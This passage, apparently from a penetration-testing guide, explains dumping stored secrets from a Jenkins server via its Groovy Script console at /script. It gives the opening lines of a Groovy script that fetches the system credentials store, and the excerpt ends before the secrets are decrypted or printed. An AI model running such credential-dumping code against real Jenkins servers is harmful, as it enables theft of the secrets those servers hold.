Note that these scripts will only list the secrets inside the credentials.xml file, but build configuration files might also have more credentials.

You can dump all the secrets from the Groovy Script console in /script running this code

// set Credentials domain name (null means is it global)
domainName = null

credentialsStore = Jenkins.instance.getExtensionList('com.cloudbees.plugins.credentials.SystemCredentialsProvider')[0]?.getStore()
